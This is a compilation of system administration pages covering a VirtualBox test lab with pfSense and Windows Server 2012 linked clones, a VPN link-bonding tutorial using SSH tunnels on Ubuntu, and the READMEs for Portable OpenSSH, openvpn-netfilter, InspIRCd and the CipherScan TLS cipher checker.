  • Follow the prompts to install pfSense (I selected the Quick/Easy install)
  • During the first boot off of the hard drive, we need to configure a few things
    • Do you want to set up VLANs now: N
    • Enter the WAN interface name: em0
    • Enter the LAN interface name: em1
    • Optional 1 Interface: (leave blank and press Enter)
    • Let’s configure our WAN port to be static
      • Select number 2 (Set interface(s) IP address
      • Select number 1 (WAN)
      • Configure WAN interface via DHCP?: N
      • Type in the IP you want to give it (has to be on your host’s subnet) (I’m setting mine to 10.2.0.199)
      • Type in the Subnet mask (more than likely you will be using 24)
      • Revert to HTTP….: N

At this point we are done setting up pfSense. Once we setup our first Windows VM we will web into pfSense to finish a couple small configuration changes to allow our VMs access to the internet.

Building the Ultimate VirtualBox Lab – Install Windows 2012 Base

We will be focusing on installing Windows Server 2012 Base for our Building the Ultimate VirtualBox Test Lab series. We will configure a few basic settings, and install all Windows Updates to ensure we are patched up.

Quick reminder: We are setting up linked clones so we can maximize disk usage on our virtual server. If we were to setup normal clones and/or VMs, we would quickly run low on disk space. Since we are using SSDs to store the VDI (virtual hard disk files for our virtualbox VMs), it is very important that we use Linked Clones for this task.

Setup Windows 2012 Base for Linked Clones

Windows 2012 ISO Download

All of the downloads can be found HERE.

Let’s begin

Configure a new Base VM

  • Name: *_Base (i.e. Windows_Server_2012_Base)

VirtualBox Name Server 2012

  • 1024 MB RAM
  • Create a virtual hard drive now
    • VDI
    • Dynamically allocated
    • 40GB
  • 1 CPU
  • Disable:
    • Floppy drive
    • Enable absolute pointing device
    • USB Controller
    • Audio
  • NIC: Internal
  • Attach ISO for installation

VirtualBox Attach ISO and SSD

  • If using an SSD, tell VBox that the VM is stored on an SSD
    • Select the vdi under the SATA Controller
    • Put a check in the Solid-state drive option under Attributes (This tells the guest OS that it’s drive is an SSD so it can take appropriate actions to deal with an SSD such as disabling defrag, etc..)

VirtualBox Configure For Linked Clones

Install and Configure VM

  • Install the guest OS
  • Install VBox Guest Additions

VirtualBox Windows Server 2012 Install Guest Additions

  • Configure the network adapter
    • Set the IP statically (your information will probably be different than mine):
      • IPV4: 192.168.1.8
      • Subnet: 255.255.255.0
      • Gateway: 192.168.1.1 (pfSense LAN IP)
      • DNS: 10.2.0.1 (for now, set it to your home router’s LAN IP or a public DNS so we can resolve hostnames until we setup our server to be a DNS server)

Finish Configuring pfSense

  • Web into pfSense using the it’s LAN IP from within the VM lan (on this Windows 2012 VM). (For me, I connect to https://192.168.1.1)
    • Username: admin
    • Password: pfsense
    • System -> Setup Wizard
      • Run through wizard
      • Take note of the WAN Gateway: Set this to your home’s router IP address. This will ensure that pfSense knows where to send all of the VM’s internet traffic out to the internet.
      • Set a new/secure password

Final Windows Configurations

  • Make sure the timezone is set properly and the VM has the correct time
  • Install .NETt Framework 3.5 Features (if Windows Server)
    • Server Manager -> Add Roles and Features

VirtualBox Add Role to Server 2012

  • Run through the wizard until you get to Features
  • Select .NET Framework 3.5 Features and finish the wizard
  • Install all available Windows updates / patches

VirtualBox - Windows Server 2012 Windows Updates

  • Configure Windows Updates to only check and notify if there are updates so we have control of the process.

Next Step

Now that the virtual machine is installed and updated, the next part in this series will walk you through step-by-step how to prep this VM and .vdi for compacting in order to be used as a Linked Clone.

Building the Ultimate VirtualBox Lab – Prep VDI for Compacting

we installed Windows 2012 and made some basic configuration changes.

This article we will be focusing on prepping the VM for compacting the .vdi (virtual hard disk) for  Installing Windows Server 2012 Base for our Building the Ultimate VirtualBox Test Lab series.

It is comprised of deleting some folders/files in order to free up as much space as possible, running sdelete.exe, sysprep, and a few other little changes in order to simplify all future linked clone installations.

Quick reminder: We are setting up linked clones so we can maximize disk usage on our virtual server. If we were to setup normal clones and/or VMs, we would quickly run low on disk space. Since we are using SSDs to store the VDI (virtual hard disk files for our virtualbox VMs), it is very important that we use Linked Clones for this task.

Prep VM for .vdi compacting

Let’s Begin

Windows Update

  • Power on the Windows 2012 VM.
  • Configure Windows Updates to only check and notify if there are updates so we have control of the process.
  • Or… disable it all together and make sure to check/update every month.
    Ultimate-Vbox-Configure-Windows-Updates

Clean-up storage

  • Remove SP (Service Pack) installation files (if any)
    • Launch an elevated cmd or PowerShell window
    • Run: dism /online /cleanup-image /spsuperseded
  • Remove Windows update backup files
    • Launch services
    • Stop Windows Update service
      Ultimate-Vbox-Stop-Windows-Update
    • Delete the following folder and all it’s contents: C:\Windows\SoftwareDistribution
    • Start Windows Update
  • Disable hibernation
    • Launch an elevated cmd or PowerShell window
    • Run: powercfg.exe /hibernate off
  • Defrag two times (If .vdi is on a non-SSD)
  • Run sdelete to prepare for vdi compacting
    • Download sdelete and extract it’s contents
    • Launch an elevated cmd or PowerShell window
    • Change your working directory to the extracted sdelete folder
    • Run: sdelete.exe -z c:
      Ultimate-Vbox-Sdelete

Compact vdi

  • Shutdown VM
  • On the host computer (the Virtual Server):
    • Launch a NON-elevated cmd or PowerShell window
    • Change your working directory to “C:\Program Files\Oracle\VirtualBox\”
    • Run: vboxmanage.exe modifyhd <image path and name>.vdi –compact
      Ultimate-VirtualBox-Lab-Compact-VDI

Prepare VM to be a template

  • Power on the VM
  • Within the VM, run sysprep
    • Launch a cmd or PowerShell window
    • Run: c:\windows\system32\sysprep\sysprep.exe
    • Select: OOBE
    • Select: Generalize
    • Select: Shutdown
      Ultimate-Vbox-Sysprep

At this point you DO NOT want to power on this VM until you are ready to install updates to the base system in the future.

Create Base Snapshot

(All linked clones will be based on this snapshot)

  • Name: Version 1.0
  • Description: Initial version of <Windows version> all patched up to <date>. Sysprep OOBE executed before shutdown.
    Ultimate-Vbox-Snapshot

Set the Base VM not to boot

  • Open the settings for this VM up in VirtualBox
  • System -> Motherboard
  • Boot Order: Uncheck all devices
    This will ensure the Base VM doesn’t accidentally get booted up
    Ultimate-Vbox-Disable-Boot

Next Step

Now that the VM’s virtual hard disk is cleaned up as much as possible and then compacted, the next part will walk you through step-by-step on creating our first Linked Clone

Building the Ultimate VirtualBox Lab – Linked Clones

we prepped our vm and compacted the .vdi to save as much space as possible.

This article, we will be setting up a few servers using the linked clone feature available in VirtualBox.

The reason I am using “linked” clones is because I am installing my lab environment on an SSD drive. Since I didn’t win the lottery or rob a bank, I am somewhat limited on the size of the SSD I can install the VMs on.

Below briefly explains what a full clone is compared to a linked clone. See Virtualbox.org for more information on the cloning process.

Full clone: In this mode all depending disk images are copied to the new VM folder. The clone can fully operate without the source VM.

Linked clone: In this mode new differencing disk images are created where the parent disk images are the source disk images. If you selected the current state of the source VM as clone point, a new snapshot will be created implicitly.

How to Setup Linked Clones

Let’s Begin

Setup a Linked Clone

  • In VirtualBox, right click the Base VM and select Clone
    Ultimate Vbox - Clone
  • Name the VM to your Server naming conventions (I am going to simplify things and name this one DC_1 for Domain Controller)
  • Select Reinitialize the MAC address
    Ultimate VirtualBox - Name and Initialize MAC
  • Select Linked Clone
    Ultimate Vbox - Linked Clone
  • Go into the Settings of the Linked Clone and select Hard Disk for the Boot Order
    Ultimate Vbox - Boot Order

Power-on Your New Linked Clone

You can now start your Linked Clone VM.

Since we SysPrep’ed the Base VMs, the initial boot of the linked clones will go through the standard Windows startup / configuration steps.

Don’t forget you will need to re-setup your IPv4 Static address as well as name the server. I personally like to give the main/first server in my environment a .10 address (i.e. 192.168.1.10). For non-servers, I like to stick with DHCP.

Setup other Base VMs for different operating systems by following the same procedures.
ultimate vbox - setup lots of linked clones

— UPDATE

I ended up enabling Windows Update on all of the linked clones individually rather than on the base system. This is because each linked clone will be running something different (ie. WDS, Exchange, SCCM, SQL, etc…).

Building the Ultimate VirtualBox Lab – RDP to VMs

We will be focusing on setting up pfSense firewall’s port forwarding to allow RDP (Remote Desktop) connections from the host computer (Virtual Server) to the individual virtual machines within VirtualBox’s internal VM network.

Call me weird or old-school but I’m not a huge fan on using the console session of VirtualBox to work on the VMs. Instead I like to use Remote Desktop to connect to the virtual machines.

Follow along in this step-by-step article on how to set up port forwarding through pfSense so we can easily remote desktop to the virtual machines from the host machine.

Disable pfSense’s ‘Block Private Network’ option

  1. Open Internet Explorer in one of your VMs
  2. Connect to your pfSense’s web interface
  3. System -> Setup Wizard
    Ultimate Vbox pfSense Setup Wizard
  4. Continue pressing Next until you get to Configure Wan Interface
  5. Scroll down to the bottom of the page
  6. Uncheck Block RFC1918 Private Networks optionUltimate-Vbox-pfSense-Disable-Block-Private-Network
  7. Continue pressing Next and then Reload to finish the configuration change

Configure NAT rule to allow pfSense to port forward ports to VM’s 3389 MSRDP port

  1. Firewall -> NATUltimate-Vbox-pfSense-Firewall-NAT
  2. Add a NAT port forward by pressing the icon with the plus symbolUltimate-Vbox-pfSense-Add-Port-Forward
  3. Destination: Any
  4. Destination Port Range: From: <whatever port you want to use>
  5. Destination Port Range: To: <leave blank>
  6. Redirect Target IP: <IP Address of the VM you want to connect to>
  7. Redirect Target Port: MS RDP
  8. Description: Remote Desktop to <server name>
  9. Save and then Apply ChangesUltimate-Vbox-pfSense-RDP-Port-Forward-Settings

Now when you want to connect via Remote Desktop, your server address will be:

  1. Server: <pfSense WAN IP>:
  2. Example: Server: 10.2.0.199:3395Remote-Desktop_Specific-Port

For other servers/clients that you want to connect to, simply add another NAT Port Forward rule but use a different Destination Port (ie. 5002, 5003, etc…).

How To VPN Bonding


VPN Bonding

This page details step by step how I accomplished aggregating two separate internet connections into one, seemingly single, connection to the Internet. This “single” connection has a greater bandwidth capacity that either of the individual connections could yield. As a side affect this also nicely doubles up as a redundant connection. This method can be used for achieving link aggregation for both home and business users alike for a fraction of the cost of commercial connections / aggregation units available that do the same thing and in theory could be expanded to as many links you like however be warned, the more links there are, the more overheads there will be with tunnelling; thus potentially noticeable drops in speed.

For this demonstration I am using two Virtual Machines via VirtualBox. This enables me to experiment with without cutting my servers off from remote administration. Both machines are running Ubuntu 10.04.3 LTS (Lucid) however there is no reason this wont work for other distributions as long as you modify the steps accordingly.

Just to get this out of the way. I am not responsible for anything you might break. Be cautious when playing around with routing tables/network interfaces especially with remote servers as it could potentially cause loss of connectivity which might not be a simple fix.

Requirements

Firstly, we will cover the requirements needed for this demonstration:

  • Linux bonding driver on both machines (see Initial Setup)
  • Server with a fat internet connection. I have a server in a Data Center with 100Mbit link that I use.
  • The remote server ideally needs to have two or more IP addresses accessible (see routing for details why)
  • Two or more Internet connections at the site you wish to create the aggregated connection
  • Server at the site you wish to aggregate that you can use as a Gateway device

How It Works

The idea behind this is quite simple and has been around for a long time. Think of it in terms of plumbing. You have a narrow pipe from your house (Your ISP), to the drain outside (The Internet). This pipe can only carry so much water (Information) to its destination at any given moment. If you add another pipe and link them together you are essentially allowing both pipes between them to carry more to the destination, thus increasing throughput.

The only initial problem with this is that each of the connections to your ISP have their own routes and IP addresses. You cant simply have multiple connections to one ISP and have it magically work (Unless your ISP supports Channel Bonding and will set it up for you). What this guide aims to do (continuing from the analogy above), is wrap both pipes together with tape so that from inside the house and outside, they appear as one and carry more down tham then a single pipe on its own.

The solution is to create a VPN tunnel to your fat pipe endpoint via each connection. Once the tunnels have been bonded it will act as one interface. Your remote fat pipe server will appear as one IP address but all traffic to that new IP address is being split down both links and vice versa. Once at the other end, as its VPN tunnelled, your server will see it as originating from the same IP inside your network, regardless of the route it takes. This then enables you to route it to the Internet and back with ease.

Diagram

This diagram summarizes the setup we are trying to achieve:

VPN Bonding Diagram

Initial Setup

First off we’ll install the bonding driver onto both servers. This is nice and simple: (Note # represents a command as root)

# apt-get install ifenslave

As we want to aggregate the multiple connections into one seemingly single link, I will be using Bonding mode 1, aka balace-rr. To enable this, we need to edit the /etc/network/interfaces file and add the following:

Note that my local subnet is 10.0.0.0/8 and so it is clear when I am using the tunnel, my VPN subnet will be 172.26.0.0/30

local-server# pico /etc/network/interfaces #This should be added to the config file iface bond0 inet static address 172.26.0.2 netmask 255.255.255.252 bond-slaves tun0 tun1 bond_mode balance-rr

And the remote server:

remote-server# pico /etc/network/interfaces #This should be added to the config file iface bond0 inet static address 172.26.0.1 netmask 255.255.255.252 bond-slaves tun0 tun1 bond_mode balance-rr

As a brief explanation, balance-rr does not load balance connections but actually load balances the packets.

This might seem backwards to some people but when all is said and done, we will be forwarding all internet traffic to 172.26.0.1 thus that would be our gateway. As a rule of thumb gateway’s are always the first IP in the subnet… (Usually)

Routing

For this to work, we need to ensure that we have separate connections to our endpoint. These separate connections need to travel through each internet connection. For arguments sake, I have two ADSL connections and thus two routers on my network – 10.0.0.1 and 10.0.0.254.

My fat pipe endpoint also needs to have two IP addresses. For this example – 87.117.217.27 and 87.117.217.44. These will enable me to ensure that my tunnels are routed via separate ISPs.

On my local server I need to do the following:

local-server# ip route add 87.117.217.27 via 10.0.0.1 dev eth0 local-server# ip route add 87.117.217.44 via 10.0.0.254 dev eth0

Note: If you want to aggregate more than two connections, using this method you would need the same number of remote IP addresses as you do Internet connections to ensure that traffic is sent via each interface.

Please be aware that this is by no means an elegant solution…

Creating VPN Tunnels – Using SSH

I originally decided to use SSH tunnels when I was playing around with bonding as both of my servers already had OpenSSH installed which meant no messing about installing/configuring OpenVPN (SSH is so versatile!). The only caveat to this method is that it requires you to allow SSH Logins via Root. It is also worth noting that using SSH Tunnels for the VPN connections essentially means you are tunnelling TCP over TCP which can potentially have a lot of overheads, especially via SSH due to the encryption and compression should you use it. See this article for some more information.

At this stage I’d like to point out that whilst I did use SSH, you can potentially use any VPN/Tunnelling technology such as OpenVPN – as long as you get a tun/tap interface that you can use with the bonding driver. That is however out of the scope of this article. If you will be using another technology or protocol to create your tun or tap devices then you can skip ahead toBonding the links

As mentioned at the top of this page, my end point is in a Data Center. It is however a VM running on my server. Primarily this was to prevent me from losing access to my machine if I broke things however it also adds the security of, if the machine is compromised, the intruder doesn’t have access to any of my services.

Never the less, we will secure it as much as possible… You need to edit your /etc/ssh/sshd_config file on your Remote Serverand change/add the following:

PermitRootLogin without-password PermitTunnel yes PasswordAuthentication no

Once that is done, add some keys from your local server to your remote server so that you can ssh to the root account. More information on SSH Keys can be found here or simply by googling.

Once you have confirmed that you can SSH to the root account of the remote server from the root account of your local serveryou are ready to go.

We will be making use of the -w parameter of ssh. This will create a tunX interface on both ends that we will later bond together.

local-server# ssh -NTCf -w 0:0 87.117.217.27 local-server# ssh -NTCf -w 1:1 87.117.217.44
  • -N Do not execute a remote command. This is useful for just forwarding ports (or in this case tunnels).
  • -T Disable pseudo-tty allocation.
  • -C Requests compression of all data (including stdin, stdout, stderr, and data for forwarded X11 and TCP connections). Compress can speed up or potentially slow down your speed, so try with and without.
  • -f Requests ssh to go to background just before command execution.

If this is successful, ifconfig -a on both machines should reveal a tun0 and tun1 interface!

# ifconfig -a tun0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 POINTOPOINT NOARP MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:500 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) tun1 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 POINTOPOINT NOARP MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:500 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

Great! Now we can proceed to bonding them.

NOTE: It might be advisable at this time to check netstat to ensure that you have connections coming in from separate ISPs:

remote-server# netstat -an | grep “:22” | grep ESTABLISHED tcp 0 48 87.117.217.27:22 66.118.190.24:54284 ESTABLISHED tcp 0 0 87.117.217.27:22 78.33.121.161:50165 ESTABLISHED tcp 0 0 87.117.217.44:22 92.40.207.249:56158 ESTABLISHED

The bold addresses are my tunnels and the other is a terminal I have open to execute netstat. The command I used shows only connections on port 22 (default ssh port) and will only show Established ones. Looks like we are good to go!

Bonding the links

This part is relatively easy now all the heavy lifting is done. As mentioned above, we have created a bond0 interface on both servers that have two (or potentially more) slaves, tun0 and tun1. To bring this interface up we simply execute the following onboth servers

This should be done on both servers: # ifup bond0 # ifconfig bond0 bond0 Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 inet addr:172.26.0.X Bcast:172.26.0.3 Mask:255.255.255.252 UP BROADCAST RUNNING MASTER MULTICAST MTU:1500 Metric:1 RX packets:41 errors:0 dropped:0 overruns:0 frame:0 TX packets:2 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:8054 (8.0 KB) TX bytes:168 (168.0 B)

Presto! Both interfaces are now up and running. You can test to ensure it is working by trying to ping each other

# ping 172.26.0.1 PING 172.26.0.1 (172.26.0.1) 56(84) bytes of data. 64 bytes from 172.26.0.1: icmp_seq=1 ttl=64 time=28.3 ms 64 bytes from 172.26.0.1: icmp_seq=2 ttl=64 time=28.2 ms 64 bytes from 172.26.0.1: icmp_seq=3 ttl=64 time=25.9 ms

Next you ned to remove the default gateway of your local server (if there is one) and tell it to use the remote server’s VPN address as its gateway instead:

local-server# ip route del 0.0.0.0/0 local-server# ip route add 0.0.0.0/0 via 172.26.0.1 dev bond0

All that is left is to enable ipv4 forwarding on both servers and add a route back to your internal network on the remote server and then you should be all set for using the local server as a gateway for the internet!

To enable:

This should be done on both servers: # sysctl net.ipv4.ip_forward=1

To enable permanently:

This should be done on both servers: # echo “net.ipv4.ip_forward=1” >> /etc/sysctl.conf

And then to tell the remote server how to get back to our network so that our requests get answered:

remote-server# ip route add 10.0.0.0/8 via 172.26.0.2 dev bond0

A pinch of iptables hackery:

remote-server# iptables -A FORWARD -o eth0 -i bond0 -s 10.0.0.0/8 -m conntrack –ctstate NEW -j ACCEPT remote-server# iptables -A FORWARD -m conntrack –ctstate ESTABLISHED,RELATED -j ACCEPT remote-server# iptables -A POSTROUTING -t nat -o eth0 -j MASQUERADE

Your local server should now be able to access the world wide web. Note that this server should, in this example at least, have an IP in the 10.0.0.0/8 subnet. That is the IP you use for your gateway on all your other machines to allow them to use the aggregated link.

I will at a later stage document automating the whole process as much as I can and have some form of connection monitoring in case the ADSL links stop working. Watch this space!

NAT

If everything was done correctly, your bonded link should be up and running. Your remote server should be able to “see” your local server via its VPN IP address and vice versa! If this is the case then most of the leg work has been done for you.

All outgoing connections to the internet from your local server should now be appearing as if they are from your remote server’s IP address, in my example, 87.117.217.27. (You can quickly test this by using whatismyip.com). Lets say that you want to access a web page that you have set up on the local server that gives statistics about your setup. We will use iptables to acheive this:

We are assuming that your remote server connects to the internet via eth0

remote-server# iptables -A PREROUTING -t nat -i eth0 -p tcp -m tcp –dport 80 -j DNAT –to-destination 172.26.0.2:80

Once this is done, any connection to http://87.117.217.27 should be transparently forwarded down your bonded link to the other end which should serve your web page.

This could also be expanded to, for example, allow Windows Remote Desktop to one of your internal computers to be accessible via the bonded link, or any service inside your LAN to be accessible from the publicly routable address of your remote server

remote-server# iptables -A PREROUTING -t nat -i eth0 -p tcp -m tcp –dport 3389 -j DNAT –to-destination 10.0.0.60:3389

NOTE: For the example above for forwarding RDP connections, the PC you are forwarding to will need to have its gateway set to the 10.0.0.0/8 address of the machine hosting the bonded link else it wont know where to send the responses to.

I found Karl Rupp’s NAT page to be helpful in explaining NAT with iptables!

From: http://simonmott.co.uk/vpn-bonding

Portable OpenSSH


See http://www.openssh.com/txt/release-6.8 for the release notes.

- A Japanese translation of this document and of the OpenSSH FAQ is
- available at http://www.unixuser.org/~haruyama/security/openssh/index.html
- Thanks to HARUYAMA Seigo <haruyama@unixuser.org>

This is the port of OpenBSD's excellent OpenSSH[0] to Linux and other
Unices.

OpenSSH is based on the last free version of Tatu Ylonen's sample
implementation with all patent-encumbered algorithms removed (to
external libraries), all known security bugs fixed, new features
reintroduced and many other clean-ups.  OpenSSH has been created by
Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, Theo de Raadt,
and Dug Song. It has a homepage at http://www.openssh.com/

This port consists of the re-introduction of autoconf support, PAM
support, EGD[1]/PRNGD[2] support and replacements for OpenBSD library
functions that are (regrettably) absent from other unices. This port
has been best tested on AIX, Cygwin, HP-UX, Linux, MacOS/X,
NetBSD, OpenBSD, OpenServer, Solaris, Unicos, and UnixWare.

This version actively tracks changes in the OpenBSD CVS repository.

The PAM support is now more functional than the popular packages of
commercial ssh-1.2.x. It checks "account" and "session" modules for
all logins, not just when using password authentication.

OpenSSH depends on Zlib[3], OpenSSL[4] and optionally PAM[5].

There is now several mailing lists for this port of OpenSSH. Please
refer to http://www.openssh.com/list.html for details on how to join.

Please send bug reports and patches to the mailing list
openssh-unix-dev@mindrot.org. The list is open to posting by
unsubscribed users.Code contribution are welcomed, but please follow the 
OpenBSD style guidelines[6].

Please refer to the INSTALL document for information on how to install
OpenSSH on your system. There are a number of differences between this
port of OpenSSH and F-Secure SSH 1.x, please refer to the OpenSSH FAQ[7]
for details and general tips.

Damien Miller <djm@mindrot.org>

Miscellania -

This version of OpenSSH is based upon code retrieved from the OpenBSD
CVS repository which in turn was based on the last free sample
implementation released by Tatu Ylonen.

References -

[0] http://www.openssh.com/faq.html
[1] http://www.lothar.com/tech/crypto/
[2] http://www.aet.tu-cottbus.de/personen/jaenicke/postfix_tls/prngd.html
[3] http://www.gzip.org/zlib/
[4] http://www.openssl.org/
[5] http://www.openpam.org
    http://www.kernel.org/pub/linux/libs/pam/ 
    (PAM also is standard on Solaris and HP-UX 11)
[6] http://www.openbsd.org/cgi-bin/man.cgi?query=style&sektion=9
[7] http://www.openssh.com/faq.html

$Id: README,v 1.87 2014/08/10 01:35:06 djm Exp $

More information can be found on:https://github.com/openssh/openssh-portable

OpenVPN Netfilter – Per VPN user network ACLs using Netfilter


openvpn-netfilter

Per VPN user network ACLs using Netfilter and OpenVPN.

Setup

While the script is fast, it still hangs OpenVPN for a second while running, which may be felt by VPN users. To minimize the impact the script blocks all connections then fork off and return control to openvpn. The fork finishes the rule setup.

learn-address /usr/lib/openvpn/plugins/netfilter_openvpn.sh

If using LDAP for user authentication, add this to the OpenVPN server configuration:

username-as-common-name

For any OpenVPN server configuration, also add this (or a sudo wrapper to this script, if needed. You may also use capabilities.):

#This is necessary so that openvpn delete the ip after 20s, assuming the client has gone away
#This may not be needed for TCP VPNs since the VPN knows when the client has gone away. (have not tested)
#For the same reason, remember to kill a client for at least 20s, or SIGUSR1 openvpn if you're changing ACLs for that client.
keepalive 10 20

Change the settings in /etc/openvpn/netfilter_openvpn.conf.

In general, you’ll want to store the rules in /etc/openvpn/netfilter/rules/* and have a list of files such as “vpn_teamA.rules”. Users belonging to the LDAP group name teamA will get those rules. You’ll also want to have /etc/openvpn/netfilter/users/* for per user rules. Likewise, make sure that the paths of the ‘iptables’, ‘ipset’, and ‘vpn-netfilter-cleanup-ip.sh’ commands are correct for your system.

Don’t forget to push the proper routing rules for the network/IPs you allow.

Rule format

Rules are formatted as list of ips or networks (anything netfilter understands for an address or network really), such as:

# Lines starting with a # sign can be used for comments
127.0.0.1
127.0.0.1/27
# Obviously you might want to use slightly more useful rules ;-)

Script logic

learn-address is an OpenVPN hook called when the remote client is being set an IP address at the VPN server side. It calls the netfilter script, which in turn will load the netfilter (iptables) rules for that IP address, per given cn name (cn name is the username in the certificate, or the LDAP user name).

If the script fails for any reason, OpenVPN will deny packets to come through.

When a user successfully connects to OpenVPN, netfilter.py will create a set for firewall rules for this user. The custom rules are added into a new chain named after the VPN IP of the user:

Chain 172.16.248.50 (3 references)
 pkts bytes target     prot opt in     out     source               destination
 5925  854K ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0           ctstate ESTABLISHED /* ulfr at 172.16.248.50 */
  688 46972 ACCEPT     all  --  *      *       172.16.248.50        0.0.0.0/0           match-set 172.16.248.50 dst /* ulfr groups: vpn_caribou;vpn_pokemon;vpn_ninjas;*/
   24  2016 LOG        all  --  *      *       0.0.0.0/0            0.0.0.0/0           /* ulfr at 172.16.248.50 */ LOG flags 0 level 4 prefix `DROP 172.16.248.50'
   24  2016 DROP       all  --  *      *       0.0.0.0/0            0.0.0.0/0           /* ulfr at 172.16.248.50 */

A jump target is added to INPUT, OUTPUT and FORWARD to send all traffic originating from the VPN IP to the custom chain:

Chain INPUT (policy ACCEPT 92762 packets, 15M bytes)
 3320  264K 172.16.248.50  all  --  *      *       172.16.248.50         0.0.0.0/0
Chain OUTPUT (policy ACCEPT 136K packets, 138M bytes)
 2196  549K 172.16.248.50  all  --  *      *       0.0.0.0/0            172.16.248.50
Chain FORWARD (policy ACCEPT 126K packets, 127M bytes)
 1120 90205 172.16.248.50  all  --  *      *       172.16.248.50         0.0.0.0/0

You’ll notice the comments are there for ease of troubleshooting, you can grep through “iptables -L -n” and find out which user or group has access to what easily.

To reduce the amount of rules created, when the LDAP ACLs only contains a list of destination subnets, these subnets are added into an IPSet. The IPSet is named after the VPN IP of the user.

--- IPSET HASH TABLE ---
Name: 172.16.248.50
Type: hash:net
Header: family inet hashsize 1024 maxelem 65536
Size in memory: 17968
References: 1
Members:
172.39.72.0/24
172.31.0.0/16
172.11.92.150
42.89.217.202

Maintenance

You can list the rules and sets of a particular user with the script named ‘vpn-fw-find-user.sh’.

You can delete all of the rules and sets of a given VPN IP using the script named ‘vpn-netfilter-cleanup-ip.sh’.

Upgrading

On rule upgrades, start the script ‘vpn-netfilter-cleanup-ip.sh’ within ‘netfilter_openvpn.sh’ until all rules are upgraded. You may also do this all the time but this has a performance cost associated.


More information can be found on: https://github.com/gdestuynder/openvpn-netfilter

InspIRCd – A modular C++ IRC daemon (ircd)


InspIRCd

The master branch contains the latest development version. If you are running a server then you probably want the insp20 branch. You can obtain this from the releases page or by running git checkout insp20 if you are installing via Git.

About

InspIRCd is a modular Internet Relay Chat (IRC) server written in C++ for Linux, BSD, Windows and Mac OS X systems which was created from scratch to be stable, modern and lightweight.

As InspIRCd is one of the few IRC servers written from scratch, it avoids a number of design flaws and performance issues that plague other more established projects, such as UnrealIRCd, while providing the same level of feature parity.

InspIRCd is one of only a few IRC servers to provide a tunable number of features through the use of an advanced but well documented module system. By keeping core functionality to a minimum we hope to increase the stability, security and speed of InspIRCd while also making it customisable to the needs of many different users.

Links


More information can be found on: https://github.com/inspircd/inspircd and on http://www.inspircd.org

CipherScan – A very simple way to find out which SSL ciphersuites are supported by a target


CipherScan

$ ./cipherscan jve.linuxwall.info
........................
Target: jve.linuxwall.info:443

prio  ciphersuite                  protocols              pfs                 curves
1     ECDHE-RSA-AES128-GCM-SHA256  TLSv1.2                ECDH,P-384,384bits  secp384r1
2     ECDHE-RSA-AES256-GCM-SHA384  TLSv1.2                ECDH,P-384,384bits  secp384r1
3     DHE-RSA-AES128-GCM-SHA256    TLSv1.2                DH,2048bits         None
4     DHE-RSA-AES256-GCM-SHA384    TLSv1.2                DH,2048bits         None
5     ECDHE-RSA-AES128-SHA256      TLSv1.2                ECDH,P-384,384bits  secp384r1
6     ECDHE-RSA-AES128-SHA         TLSv1,TLSv1.1,TLSv1.2  ECDH,P-384,384bits  secp384r1
7     ECDHE-RSA-AES256-SHA384      TLSv1.2                ECDH,P-384,384bits  secp384r1
8     ECDHE-RSA-AES256-SHA         TLSv1,TLSv1.1,TLSv1.2  ECDH,P-384,384bits  secp384r1
9     DHE-RSA-AES128-SHA256        TLSv1.2                DH,2048bits         None
10    DHE-RSA-AES128-SHA           TLSv1,TLSv1.1,TLSv1.2  DH,2048bits         None
11    DHE-RSA-AES256-SHA256        TLSv1.2                DH,2048bits         None
12    DHE-RSA-AES256-SHA           TLSv1,TLSv1.1,TLSv1.2  DH,2048bits         None
13    AES128-GCM-SHA256            TLSv1.2                None                None
14    AES256-GCM-SHA384            TLSv1.2                None                None
15    AES128-SHA256                TLSv1.2                None                None
16    AES256-SHA256                TLSv1.2                None                None
17    AES128-SHA                   TLSv1,TLSv1.1,TLSv1.2  None                None
18    AES256-SHA                   TLSv1,TLSv1.1,TLSv1.2  None                None
19    DHE-RSA-CAMELLIA256-SHA      TLSv1,TLSv1.1,TLSv1.2  DH,2048bits         None
20    CAMELLIA256-SHA              TLSv1,TLSv1.1,TLSv1.2  None                None
21    DHE-RSA-CAMELLIA128-SHA      TLSv1,TLSv1.1,TLSv1.2  DH,2048bits         None
22    CAMELLIA128-SHA              TLSv1,TLSv1.1,TLSv1.2  None                None
23    DES-CBC3-SHA                 TLSv1,TLSv1.1,TLSv1.2  None                None

Certificate: trusted, 2048 bit, sha256WithRSAEncryption signature
TLS ticket lifetime hint: 300
OCSP stapling: supported
Cipher ordering: server

Cipherscan tests the ordering of the SSL/TLS ciphers on a given target, for all major versions of SSL and TLS. It also extracts some certificates informations, TLS options, OCSP stapling and more. Cipherscan is a wrapper above the openssl s_client command line.

Cipherscan is meant to run on all flavors of unix. It ships with its own built of OpenSSL for Linux/64 and Darwin/64. On other platform, it will use the openssl version provided by the operating system (which may have limited ciphers support), or your own version provided in the -o command line flag.

Examples

Basic test:

$ ./cipherscan google.com
...................
Target: google.com:443

prio  ciphersuite                  protocols                    pfs                 curves
1     ECDHE-RSA-CHACHA20-POLY1305  TLSv1.2                      ECDH,P-256,256bits  prime256v1
2     ECDHE-RSA-AES128-GCM-SHA256  TLSv1.2                      ECDH,P-256,256bits  prime256v1
3     ECDHE-RSA-AES128-SHA         TLSv1.1,TLSv1.2              ECDH,P-256,256bits  prime256v1
4     ECDHE-RSA-RC4-SHA            SSLv3,TLSv1,TLSv1.1,TLSv1.2  ECDH,P-256,256bits  prime256v1
5     AES128-GCM-SHA256            TLSv1.2                      None                None
6     AES128-SHA256                TLSv1.2                      None                None
7     AES128-SHA                   TLSv1.1,TLSv1.2              None                None
8     RC4-SHA                      SSLv3,TLSv1,TLSv1.1,TLSv1.2  None                None
